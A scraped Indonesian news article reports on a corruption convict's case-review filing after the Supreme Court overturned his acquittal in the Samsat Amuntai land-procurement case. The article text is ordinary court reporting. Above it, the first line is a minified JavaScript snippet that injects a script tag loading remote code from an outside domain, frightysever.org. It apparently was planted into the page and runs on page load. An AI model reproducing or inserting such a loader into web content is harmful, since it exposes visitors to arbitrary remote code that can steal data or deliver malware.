(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sempat Vonis Bebas, Terpidana Korupsi Pengadaan Lahan Samsat Amuntai Ajukan PK


KANALKALIMANTAN.COM, BANJARMASIN – Salah seorang terpidana kasus korupsi pengadaan lahan pembanguna gedung Samsat Amuntai Muhamad Anshor ST mengajukan upaya hukum luar biasa Peninjauan Kembali (PK).

PK diajukan setelah ada putusan kasasi Mahkamah Agung (MA) yang menganulir vonis bebas hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin terhadap Muhamad Anshor dan satu terpidana lain.

Sidang perdana PK atas pemohon Anshor digelar di ruang sidang Pengadilan Tipikor Banjarmasin, Senin (5/8/2024) siang.

Sidang yang dipimpin Ketua Majelis Hakim Fidiyawan Satriantoro SH dan dua hakim anggota itu beragendakan pembacaan memori PK oleh tim kuasa hukum pemohon, Sabirin Noor Herman SH MH dan rekan.

Baca juga: Dugaan Pelanggaran Pemilu Mantan Ketua KPU Banjarbaru, Wahyu NZ Lapor ke Bawaslu

Sidang dihadiri jaksa penuntut umum dari Kejaksaan Negeri (Kejari) Hulu Sungai Utara selaku pihak termohon. Sementara terpidana Muhamad Anshor mengikuti sidang PK dari Lapas Banjarmasin tempat ditahan.

Dalam memori PK, pemohon mengklaim telah terjadi kekhilafan hakim MA dalam memutus perkara kasasi dengan membatalkan vonis bebas terdakwa Muhamad Anshor.

Tim kuasa hukum pemohon juga mengaku mempunyai alat bukti baru atau nuvom dalam pengajuan PK.

Dalam permohonan itu, kuasa hukum terpidana Muhamad Anshor meminta untuk dibatalkannya putusan MA Nomor 5832K/Pid.Sus/2023 yang menganulir vonis bebas kliennya.

“Memohon hakim agung di Jakarta yang memeriksa, menerima dan mengabulkan permohonan PK dari pemohon PK untuk seluruhnya,” kata tim kuasa hukum pemohon saat membacakan memori PK.

Baca juga: Jabat Ketua Kantor PN Martapura, Kurniawan Minta Dukungan Pemkab Banjar

Setelah pembacaan memori PK, majelis hakim yang diketuai Fidiyawan memberikan kesempatan kepada jaksa penuntut umum selaku termohon untuk memberikan jawaban atas memori PK pemohon.

“Setelah jawaban, nanti pembuktian pemohon, baru nanti termohon, terkahir kita akan kirimkan ke MA,” ucap Fidiyawan.

Sidang PK ditunda dan akan digelar kembali pada Jumat (16/8/2024) di ruang sidang Pengadilan Tipikor Banjarmasin.

Kasus pengadaan lahan gedung Samsat Amuntai sebelumnya bergulir di Pengadilan Tipikor Banjarmasin menyatakan Muhamad Anshor dan Ahmad Yani tidak terbukti bersalah melakukan korupsi. Sehingga kedua terdakwa divonis bebas oleh majelis hakim pada tanggal 31 Mei 2023 lalu.

Atas vonis bebas tersebut, jaksa penuntut umum dari Kejari HSU kemudian mengajukan upaya hukum kasasi ke MA.

Baca juga: PKB Patahkan Isu Batalkan Koalisi di Pilwali Banjarbaru, Dukung Penuh Aditya-Said Abdullah

Putusan kasasi MA pada akhir 2023 lalu mengambulkan permohonan JPU, dimana terdakwa Akhmad Yani dan Muhamad Anshor dinyatakan telah terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi secara bersama-sama pada pengadaan lahan gedung Samsat Amuntai tahun 2013.

Kedua terdakwa yang sempat menghirup udara bebas harus kembali dijebloskan ke sel tahanan.

“Menjatuhkan pidana kepada terdakwa oleh karena itu dengan pidana penjara selama 4 tahun dan denda Rp200 juta dengan ketentuan apabila denda tersebut tidak dibayar, maka diganti dengan pidana kurungan selama 3 bulan,” bunyi putusan kasasi MA secara terpisah untuk terdakwa Akhmad Yani dan Muhamad Anshor, dikutip dari laman SIPP PN Banjarmasin.

Khusus untuk terdakwa Akhmad Yani, dijatuhi pidana tambahan berupa membayar uang pengganti kerugian negara sebesar Rp565.120.000. Uang pengganti tesebut diperhitungkan dengan adanya titipan uang sebesar Rp100 juta di Kejari HSU.

Hakim MA menyatakan keduanya terbukti secara sah dan meyakinkan melanggar Pasal 2 ayat (1) Jo Pasal 18 Undang-Undang Nomor 20 Tahun 2001 atas perubahan Undang-Undang 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) KUHP, sebagaiman dakwaan primair Jaksa penuntut umum. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

2 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

4 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

5 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

8 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

11 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

14 jam ago

This website uses cookies.